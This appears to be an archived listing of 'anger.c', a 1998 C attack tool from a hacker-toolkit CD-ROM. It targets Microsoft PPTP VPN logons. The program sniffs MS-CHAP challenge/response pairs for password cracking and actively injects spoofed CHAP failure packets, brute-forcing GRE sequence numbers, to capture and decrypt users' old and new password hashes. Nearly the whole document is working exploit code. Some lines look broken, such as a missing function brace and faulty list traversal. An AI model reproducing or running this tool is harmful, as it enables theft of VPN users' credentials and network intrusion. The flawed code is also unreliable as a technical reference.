home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / hackers / anger_tar.tar / anger.tar / anger / anger.c next >
C/C++ Source or Header  |  1998-08-10  |  18KB  |  677 lines

  1. /*
  2.  * anger.c by Aleph One
  3.  *
  4.  * This program implements:
  5.  *
  6.  * a) A PPTP challenge/responce sniffer. These c/r can be input into
  7.  * L0phtcrack to obtain the password.
  8.  *
  9.  * b) An active attack on PPTP logons via the MS-CHAP vulnerability to
  10.  * obtain the users password hashes. Notice that this also generates
  11.  * the password hashes of the new password the user wanted to use.
  12.  * These can be input into L0phtcrack to get password, into a modified
  13.  * smbclient to logon onto a SMB sever, or into a modified PPP client
  14.  * for use with the Linux PPTP client.
  15.  *
  16.  * You must compile this program against libpcap. If your system implements
  17.  * IP_HDRINCL you must also link it against libdes or libcrypto. Example:
  18.  *
  19.  *     gcc -o anger anger.c in_chksum.c -ldes -lpcap
  20.  */
  21.  
  22. #include <string.h>
  23. #include <strings.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <unistd.h>
  27. #include <sys/types.h>
  28. #include <sys/stat.h>
  29. #include <fcntl.h>
  30. #include <sys/time.h>
  31. #include <sys/socket.h>
  32. #include <netinet/in.h>
  33. #include <netinet/in_systm.h>
  34. #include <netinet/ip.h>
  35. #include <arpa/inet.h>
  36. #include <errno.h>
  37. #include <pcap.h>
  38.  
  39. #ifdef IP_HDRINCL
  40. #include <des.h>
  41. #endif
  42.  
  43. #ifdef __hpux__
  44. #define u_int8_t uint8_t
  45. #define u_int16_t uint16_t
  46. #define u_int32_t uint32_t
  47. #endif
  48.  
  49. /* define these as appropiate for your architecture */
  50. #define hton8(x)  (x)
  51. #define ntoh8(x)  (x)
  52. #define hton16(x) htons(x)
  53. #define ntoh16(x) ntohs(x)
  54. #define hton32(x) htonl(x)
  55. #define ntoh32(x) ntohl(x)
  56.  
  57. #include "pptp.h"
  58.  
  59. void usage(void);
  60. void fatal(const char *);
  61. void decaps_gre(const unsigned char *, int);
  62. void do_ppp(struct ip *, void *, char *);
  63. void cache_challenge(struct ip *, struct pptp_gre_header *, void *);
  64. void print_l0phtcrack1(struct ip *, struct pptp_gre_header *, void *);
  65. void hexprint(FILE *, const unsigned char *, int);
  66. #ifdef IP_HDRINCL
  67. void send_chap_failure(struct ip *, struct pptp_gre_header *, void *);
  68. void print_l0phtcrack2(struct ip *, void *);
  69. unsigned short in_cksum(unsigned short *addr,int len);
  70. #endif
  71.  
  72. /*
  73.  * Since the are two independant Call ID's per call (one in each direction)
  74.  * and the only way to match them is by parsing the TCP control stream 
  75.  * (which we don't bother to do), we cannot use the Call IDs to match
  76.  * responces to challenges. We can only use IP addresses. This is not a
  77.  * problem if we have a desktop client connecting to a server, but will
  78.  * break if you have multiple clients authenticating at the same time
  79.  * via a network access server (ie. sharing the same source IP).
  80.  */
  81. struct challenge {
  82.   struct challenge *next;
  83. /*  u_int16_t call_id; */
  84.   struct in_addr srv;
  85.   struct in_addr clt;
  86.   unsigned char challenge[8];
  87.   unsigned char name[64];
  88. };
  89.   
  90. struct challenge *challenges = NULL;
  91. struct challenge *last = NULL;
  92.  
  93. int active_attack = 0;
  94. FILE *hashes, *crs;
  95. int debug = 0;
  96. int rsd;
  97.  
  98. char outbuff[2048];
  99.  
  100.  
  101. int main(int argc, char **argv)
  102. {
  103.   int opt, offset;
  104.   pcap_t *pcap_h;
  105.   char *dev = NULL, error[PCAP_ERRBUF_SIZE];
  106.   const unsigned char *pkt;
  107.   struct bpf_program filter;
  108.   struct pcap_pkthdr pkthdr;
  109.   bpf_u_int32 net, mask;
  110.  
  111.   while((opt = getopt(argc, argv, "d:v")) != -1)
  112.   {
  113.     switch(opt)
  114.     {
  115.       case 'd':
  116.         if (optarg == NULL)
  117.           usage();
  118.         dev = optarg;
  119.         break; 
  120.  
  121.       case 'v':
  122.         debug++;
  123.         break;
  124.  
  125.       default:
  126.         usage();
  127.     }
  128.   }
  129.  
  130.   if (argv[optind] == NULL)
  131.     usage();
  132.  
  133.   if((crs = fopen(argv[optind], "a")) == NULL)
  134.     fatal(NULL);
  135.  
  136. #ifdef  IP_HDRINCL
  137.   optind++;
  138.   if (argv[optind] != NULL)
  139.   {
  140.     active_attack = 1;
  141.     if((hashes = fopen(argv[optind], "a")) == NULL)
  142.       fatal(NULL);
  143.   }
  144. #endif
  145.  
  146.   if ((dev == NULL) && ((dev = pcap_lookupdev(error)) == NULL))
  147.     fatal(error);
  148.     
  149.   if ((pcap_h = pcap_open_live(dev, PACKET_MAX + 64, 1, 0, error)) == NULL)
  150.     fatal(error);
  151.  
  152.   if (pcap_lookupnet(dev, &net, &mask, error) == -1)
  153.     fatal(error);
  154.  
  155.   if (pcap_compile(pcap_h, &filter, "proto 47", 0, net) == -1)
  156.     fatal(pcap_geterr(pcap_h));
  157.  
  158.   if (pcap_setfilter(pcap_h, &filter) == -1)
  159.     fatal(pcap_geterr(pcap_h));
  160.  
  161.   switch(pcap_datalink(pcap_h))
  162.   {
  163.     case DLT_EN10MB:     offset = 14; break;
  164.     case DLT_NULL:     offset = 4;  break;
  165.     case DLT_SLIP:
  166.     case DLT_PPP:     offset = 24; break;
  167.     case DLT_RAW:     offset = 0;  break;
  168.     default:         fatal("pcap_datalink");
  169.   }
  170.  
  171. #ifdef IP_HDRINCL
  172.   if (active_attack)
  173.   {
  174.     int on=1;
  175.     if ((rsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  176.       fatal(NULL);
  177.  
  178.     if (setsockopt(rsd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) == -1)
  179.       fatal(NULL);
  180.   }
  181. #endif
  182.     
  183.  while(1)
  184.   {
  185.       if ((pkt = pcap_next(pcap_h, &pkthdr)) == NULL)
  186.         continue;
  187.       pkt += offset;
  188.       decaps_gre(pkt, pkthdr.caplen - offset);
  189.   }
  190.  
  191.   pcap_close(pcap_h);
  192. #ifdef IP_HDRINCL
  193.   close(rsd);
  194. #endif
  195.   exit(0);
  196. }
  197.  
  198. void usage(void)
  199. {
  200. #ifdef IP_HDRINCL
  201.   printf("usage: anger [ -v ] [ -d device ] output1 [ output2 ]\n\n");
  202.   printf("Write sniffed challenge/responces to output1.\n");
  203. #else
  204.   printf("usage: anger [ -v ] [ -d device ] output1\n\n");
  205.   printf("Write sniffed challenge/responces to output1.\n");
  206.   printf("If output2 is given it will perform an active attack on\n");
  207.   printf("PPTP connections and write the password hashes to output2.\n\n");
  208. #endif
  209.   printf("\t-d\tDevice to open for sniffing.\n");
  210.   printf("\t-v\tSome diagnostics.\n\n");
  211.   exit(1);
  212. }
  213.  
  214. void fatal(char const *msg)
  215. {
  216.   if (msg == NULL)
  217.     perror("anger");
  218.   else
  219.     printf("%s\n", msg);
  220.   exit(1);
  221. }
  222.  
  223. void decaps_gre(const unsigned char *buffer, int status)
  224. {
  225.   struct ip *ip;
  226.   struct pptp_gre_header *header;
  227.  
  228.   ip = (struct ip *)buffer; 
  229.   if (ip->ip_v != 4)
  230.     fatal("No IP header!");
  231.  
  232.   header = (struct pptp_gre_header *)(buffer + (ip->ip_hl * 4));
  233.  
  234.   /* verify packet (else discard) */
  235.   if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1   */
  236.       (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
  237.       PPTP_GRE_IS_C(ntoh8(header->flags)) ||      /* flag C should be clear */
  238.       PPTP_GRE_IS_R(ntoh8(header->flags)) ||      /* flag R should be clear */
  239.       (!PPTP_GRE_IS_K(ntoh8(header->flags))) ||   /* flag K should be set   */
  240.       ((ntoh8(header->flags)&0xF)!=0))    /* routing and recursion ctrl = 0 */
  241.   {
  242.     /* if invalid, discard this packet */
  243.     printf("Discarding GRE: %X %X %X %X %X %X",
  244.          ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
  245.          PPTP_GRE_IS_C(ntoh8(header->flags)),
  246.          PPTP_GRE_IS_R(ntoh8(header->flags)),
  247.          PPTP_GRE_IS_K(ntoh8(header->flags)),
  248.          ntoh8(header->flags)&0xF);
  249.     return;
  250.   }
  251.  
  252.   if (PPTP_GRE_IS_S(ntoh8(header->flags))) /* payload present */
  253.   {
  254.     unsigned headersize = sizeof(*header);
  255.     unsigned payload_len= ntoh16(header->payload_len);
  256.  
  257.     if (!PPTP_GRE_IS_A(ntoh8(header->ver)))
  258.       headersize -= sizeof(header->ack);
  259.  
  260.     /* check for incomplete packet (length smaller than expected) */
  261.     if (status-headersize<payload_len)
  262.     {
  263.       printf("incomplete packet\n");
  264.       return;
  265.     }
  266.  
  267.     do_ppp((struct ip*)buffer, header,  ((char *)header) + headersize);
  268.     return;
  269.   }
  270.   return; /* ack, but no payload */
  271. }
  272.  
  273. void do_ppp(struct ip *ip, void *gre, char *pack)
  274. {
  275.   struct ppp_header *ppp;
  276.   struct ppp_lcp_chap_header *chap;
  277.   struct in_addr dst, src;
  278.   u_int16_t proto;
  279.  
  280.   ppp = (struct ppp_header *)pack;
  281.  
  282.   /*
  283.    * During PPP'c LCP phase one or both sizes may configure the use
  284.    * of the PPP Address and Control Field Compression option. This
  285.    * option simply allows a party to stop sending the PPP address and
  286.    * control field. Since I am to lazy to keep track of whether one or
  287.    * both sides negociate this option we simply test each incomming PPP
  288.    * frame to see if it begins with 0xff and 0x03. If they don't we
  289.    * assume ACFC has been negociated.
  290.    */
  291.   if ((ntoh8(ppp->address) != 0xff) && (ntoh8(ppp->control) != 0x3))
  292.   {
  293.     proto = ntoh16(*((u_int16_t *)pack));
  294.     chap = (struct ppp_lcp_chap_header *)(pack + sizeof(u_int16_t));
  295.   }
  296.   else
  297.   {
  298.     proto = ntoh16(ppp->proto);
  299.     chap = (struct ppp_lcp_chap_header *)(pack + sizeof(struct ppp_header));
  300.   }
  301.     
  302.   dst.s_addr = ip->ip_dst.s_addr;
  303.   src.s_addr = ip->ip_src.s_addr;
  304.  
  305.   if (proto == PPP_PROTO_CHAP)
  306.   {
  307.     switch(ntoh8(chap->code))
  308.     {
  309.       case PPP_CHAP_CODE_CHALLENGE:
  310.         if (debug > 0)
  311.         {
  312.           printf("%s <- ", inet_ntoa(dst));
  313.           printf("%s CHAP Challenge\n", inet_ntoa(src));
  314.         }
  315.         cache_challenge(ip, gre, chap);
  316.  
  317.       case PPP_CHAP_CODE_RESPONCE:
  318.         if (debug > 0)
  319.         {
  320.           printf("%s <- ",  inet_ntoa(dst));
  321.           printf("%s CHAP Responce\n", inet_ntoa(src));
  322.         }
  323.         print_l0phtcrack1(ip, gre, chap);
  324.  
  325. #ifdef IP_HDRINCL
  326.         /* if we are actively attacking them send failure */
  327.         if (active_attack)
  328.           send_chap_failure(ip, gre, chap);
  329. #endif
  330.  
  331.         break;
  332.  
  333. #ifdef IP_HDRINCL
  334.       case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
  335.         print_l0phtcrack2(ip, chap);
  336.         break;
  337. #endif
  338.     }
  339.   }
  340. }
  341.  
  342. void cache_challenge(struct ip *ip, struct pptp_gre_header *gre, void *pack)
  343. {
  344.   struct {
  345.     struct ppp_lcp_chap_header chap;
  346.     struct ppp_chap_challenge challenge;
  347.   } *p;
  348.   struct challenge *ptr;
  349.  
  350.   p = pack;
  351.  
  352.   for (ptr = challenges; ptr != NULL; ptr = challenges->next)
  353.   {
  354.     if ((ptr->clt.s_addr == ip->ip_dst.s_addr) &&
  355.         (ptr->srv.s_addr == ip->ip_src.s_addr))
  356.       break;
  357.   }
  358.  
  359.   if (ptr == NULL)
  360.   {
  361.     if ((ptr = malloc(sizeof(struct challenge))) == NULL)
  362.       fatal(NULL);
  363.  
  364.     ptr->next = challenges;
  365.     ptr->clt.s_addr = ip->ip_dst.s_addr;
  366.     ptr->srv.s_addr = ip->ip_src.s_addr;
  367.     challenges = ptr;
  368.   }
  369.  
  370.   memcpy(ptr->challenge, p->challenge.value.challenge, 8);
  371. }
  372.  
  373. void print_l0phtcrack1(struct ip *ip, struct pptp_gre_header *gre, void *pack)
  374. {
  375.   struct {
  376.     struct ppp_lcp_chap_header chap;
  377.     struct ppp_chap_challenge responce;
  378.   } *p;
  379.   struct challenge *ptr;
  380.   struct challenge *prev = NULL;
  381.  
  382.   p = pack;
  383.  
  384.   for (ptr = challenges; ptr != NULL; prev = ptr, ptr = challenges->next)
  385.   {
  386.     if ((ptr->clt.s_addr == ip->ip_src.s_addr) &&
  387.         (ptr->srv.s_addr == ip->ip_dst.s_addr))
  388.       break;
  389.   }
  390.  
  391.   if (ptr != NULL)
  392.   {
  393.     unsigned char name[64];
  394.     int len;
  395.  
  396.     bzero(name, 64);
  397.     len = ntoh16(p->chap.length) - 54;
  398.     bcopy(((char *)p) + 54, name, len);
  399.     name[len] = '\0';
  400.  
  401.     /*
  402.      * L0phtcrack dislikes c/r entries with more than 5 fields so we
  403.      * put tthe client server information in the username field.
  404.      */
  405.     fprintf(crs, "%s (Server %s ", name, inet_ntoa(ptr->srv));
  406.     fprintf(crs, "Client %s):0:", inet_ntoa(ptr->clt));
  407.     hexprint(crs, ptr->challenge, 8);
  408.     fprintf(crs, ":");
  409.     hexprint(crs, p->responce.value.responce.lanman, 24);
  410.     fprintf(crs, ":");
  411.     hexprint(crs, p->responce.value.responce.nt, 24);
  412.     fprintf(crs, "\n");
  413.     fflush(crs);
  414.  
  415.  
  416.     /* 
  417.      * If we are performing an active attack we will need the challenge
  418.      * to decrypt the password hashes. We wait until then to free this cache
  419.      * entry. 
  420.      * 
  421.      * We also save the name if we are performing an active attack.
  422.      */
  423.     if (!active_attack)
  424.     {
  425.       if (prev == NULL)
  426.         challenges = NULL;
  427.       else
  428.         prev->next = ptr-> next;
  429.  
  430.       free(ptr);
  431.     }
  432.     else
  433.     {
  434.       memcpy(ptr->name, name, 64);
  435.       ptr->name[64] = '\0';
  436.     }
  437.   }
  438. }
  439.  
  440.  
  441. #ifdef IP_HDRINCL
  442.  
  443. void send_chap_failure(struct ip *ip, struct pptp_gre_header *gre, void *pack)
  444.   int len, i;
  445.   struct {
  446.     struct ppp_lcp_chap_header chap;
  447.     struct ppp_chap_challenge responce;
  448.   } *p;
  449.   struct {
  450.     struct ip ip;
  451.     struct pptp_gre_header gre;
  452.     struct ppp_header ppp;
  453.     struct ppp_lcp_chap_header chap;
  454.     char message[64];
  455.   } pkt;
  456.  
  457.   struct sockaddr_in dst_addr;
  458.   struct in_addr dst, src;
  459.  
  460.   p = pack;
  461.  
  462.   dst.s_addr = ip->ip_dst.s_addr;
  463.   src.s_addr = ip->ip_src.s_addr;
  464.  
  465.   if (debug > 0)
  466.   {
  467.     printf("%s -> ", inet_ntoa(dst));
  468.     printf("%s CHAP Failure (spoofed)\n",inet_ntoa(src));
  469.   }
  470.  
  471.   len = sizeof(struct ppp_header) + sizeof(struct ppp_lcp_chap_header) +
  472.         strlen(MSCHAP_ERROR);
  473.  
  474.   bzero(&pkt, sizeof(pkt));
  475.   pkt.ip.ip_v         = IPVERSION;
  476.   pkt.ip.ip_hl        = 5;
  477.   pkt.ip.ip_len       = hton16(sizeof(pkt));
  478.   pkt.ip.ip_id        = hton16(31337);
  479.   pkt.ip.ip_ttl       = hton8(64);
  480.   pkt.ip.ip_p         = hton8(PPTP_PROTO);
  481.   pkt.ip.ip_src       = ip->ip_dst;
  482.   pkt.ip.ip_dst       = ip->ip_src;
  483.   pkt.ip.ip_sum       = in_cksum((unsigned short *)&pkt.ip, sizeof(struct ip));
  484.   pkt.gre.flags       = hton8 (PPTP_GRE_FLAG_K|PPTP_GRE_FLAG_S);
  485.   pkt.gre.ver         = hton8 (PPTP_GRE_VER|PPTP_GRE_FLAG_A);
  486.   pkt.gre.protocol    = hton16(PPTP_GRE_PROTO);
  487.   pkt.gre.payload_len = hton16(len);
  488.  
  489. /* 
  490.  * To fake the server's CHAP failure message we need to know the Call ID
  491.  * that the other end assigned to it. This is a problem as the only way
  492.  * to know it is by parsing the TCP control session between the two and
  493.  * seeing the outgoing call request and reply. To much work for me to bother.
  494.  * luckily the Windows NT and Windows 95 PPTP client always assigns a Call ID 
  495.  * of zero!
  496.  */
  497.  
  498.   pkt.gre.call_id     = 0;
  499.  
  500.   pkt.gre.ack         = gre->seq;
  501. /*
  502.  * One or both sides may have negociated address and control field compression.
  503.  * Luckly this is just a hint to the remote end that we can accept compressed
  504.  * frames, not an indication that we will send them out that way. This allows
  505.  * us to send an uncompressed frame that will be accepted even when they
  506.  * have negociated compression.
  507.  *
  508.  * From RFC1331:
  509.  *
  510.  *     On reception, the Address and Control fields are decompressed by
  511.  *     examining the first two octets.  If they contain the values 0xff
  512.  *     and 0x03, they are assumed to be the Address and Control fields.
  513.  *     If not, it is assumed that the fields were compressed and were not
  514.  *     transmitted.
  515.  *
  516.  *     If a compressed frame is received when Address-and-Control-Field-
  517.  *     Compression has not been negotiated, the implementation MAY
  518.  *     silently discard the frame.
  519.  */
  520.   pkt.ppp.address     = hton8(PPP_ADDRESS);
  521.   pkt.ppp.control     = hton8(PPP_CONTROL);
  522.   pkt.ppp.proto       = hton16(PPP_PROTO_CHAP);
  523.   pkt.chap.code       = hton8(PPP_CHAP_CODE_FAILURE);
  524.   pkt.chap.length     = hton16(4 + strlen(MSCHAP_ERROR));
  525.   strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
  526.  
  527.   dst_addr.sin_family        = AF_INET;
  528.   dst_addr.sin_addr.s_addr   = ip->ip_src.s_addr;
  529.   dst_addr.sin_port          = 0;
  530.  
  531.   len += sizeof(struct ip) + sizeof(struct pptp_gre_header);
  532.  
  533.   /* send it a few times, loosy network */
  534.   for (i=0; i < 3; i++)
  535.   {
  536.     if (PPTP_GRE_IS_A(gre->ver))
  537.     {
  538.       /* the packet we are responding to has an acknowledgement number  *
  539.        * we can use that to calculate or sequence number                */
  540.       pkt.gre.seq = hton32(ntoh32(gre->ack) + 1);
  541.       if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
  542.              sizeof(dst_addr)) == -1)
  543.         fatal(NULL);
  544.     }
  545.     else
  546.     {
  547.       /* 
  548.        * The last packet did not have an acknowledgement number so we
  549.        * have no idea the sequence number should be, but since authentication
  550.        * is negociated at the begining of the connection and the GRE
  551.        * implementation starts counting at zero we can brute force it.
  552.        */
  553.       int x;
  554.       for (x=0; x < 10; x++)
  555.       {
  556.         pkt.gre.seq = hton32(x);
  557.         if (sendto(rsd, &pkt, len, 0, (struct sockaddr *)&dst_addr,
  558.                sizeof(dst_addr)) == -1)
  559.           fatal(NULL);
  560.       }
  561.     }
  562.   }
  563. }
  564.  
  565.  
  566. void print_l0phtcrack2(struct ip *ip, void *pack)
  567. {
  568.   unsigned char out[8], out2[8], key[8];
  569.   struct {
  570.     struct ppp_lcp_chap_header chap;
  571.     struct ppp_mschap_change_password passwds;
  572.   } *pkt;
  573.   des_key_schedule ks;
  574.   struct in_addr dst, src;
  575.   struct challenge *ptr, *prev = NULL;
  576.  
  577.   dst.s_addr = ip->ip_dst.s_addr;
  578.   src.s_addr = ip->ip_src.s_addr;
  579.  
  580.   for (ptr = challenges; ptr != NULL; prev = ptr, ptr = challenges->next)
  581.   {
  582.     if ((ptr->clt.s_addr == ip->ip_src.s_addr) &&
  583.         (ptr->srv.s_addr == ip->ip_dst.s_addr))
  584.       break;
  585.   }
  586.  
  587.   if (ptr == NULL)
  588.   {
  589.     printf("Can't find challenge to decrypt hashes.\n");
  590.     return;
  591.   }
  592.  
  593.   memcpy(key, ptr->challenge, 8);
  594.  
  595.   pkt =  pack;
  596.  
  597.   if (debug > 0)
  598.   {
  599.     printf("%s <- ", inet_ntoa(dst));
  600.     printf("%s MSCHAP Change Password Version 1 Packet.\n", inet_ntoa(src));
  601.   }
  602.  
  603.   fprintf(hashes, "%s:0:", ptr->name);
  604.  
  605.   /* Turn off checking for weak keys within libdes */
  606.   des_check_key=0;
  607.   des_set_odd_parity((des_cblock *)key);
  608.   des_set_key((des_cblock *)key, ks);
  609.  
  610.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,
  611.                   (des_cblock *) out, ks, 0);
  612.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), 
  613.                   (des_cblock *)out2, ks, 0);
  614.  
  615.   hexprint(hashes, out, 8);
  616.   hexprint(hashes, out2, 8);
  617.   fprintf(hashes, ":");
  618.  
  619.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,
  620.                   (des_cblock *) out, ks, 0);
  621.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), 
  622.                   (des_cblock *)out2, ks, 0);
  623.  
  624.   hexprint(hashes, out, 8);
  625.   hexprint(hashes, out2, 8);
  626.   fprintf(hashes, ":");
  627.   fprintf(hashes, "(Old Password) Server %s ",  inet_ntoa(ptr->srv));
  628.   fprintf(hashes, "Client %s::\n", inet_ntoa(ptr->clt));
  629.  
  630.   fprintf(hashes, "%s:0:", ptr->name);
  631.  
  632.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,
  633.                   (des_cblock *)out, ks, 0);
  634.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), 
  635.                   (des_cblock *)out2, ks, 0);
  636.  
  637.   hexprint(hashes, out, 8);
  638.   hexprint(hashes, out2, 8);
  639.   fprintf(hashes, ":");
  640.  
  641.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,
  642.                   (des_cblock *) out, ks, 0);
  643.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), 
  644.                   (des_cblock *)out2, ks, 0);
  645.  
  646.   hexprint(hashes, out, 8);
  647.   hexprint(hashes, out2, 8);
  648.   fprintf(hashes, ":");
  649.   fprintf(hashes, "(New Password, Length = %d) Server %s",
  650.    ntoh16(pkt->passwds.pass_length),  inet_ntoa(ptr->srv));
  651.   fprintf(hashes, "Client %s::\n", inet_ntoa(ptr->clt));
  652.   fflush(hashes);
  653.  
  654.  
  655.  
  656.   /* Free it now */
  657.   if (prev == NULL)
  658.     challenges = NULL;
  659.   else
  660.     prev->next = ptr-> next;
  661.  
  662.   free(ptr);
  663.  
  664. }
  665.  
  666. #endif /* IP_HDRINCL */
  667.  
  668. void hexprint(FILE *out, const unsigned char *in, int len)
  669. {
  670.   int i;
  671.  
  672.   for (i = 0; i < len; i++)
  673.     /* ineficient - XXX */
  674.     fprintf(out, "%02X", in[i]);
  675. }
  676.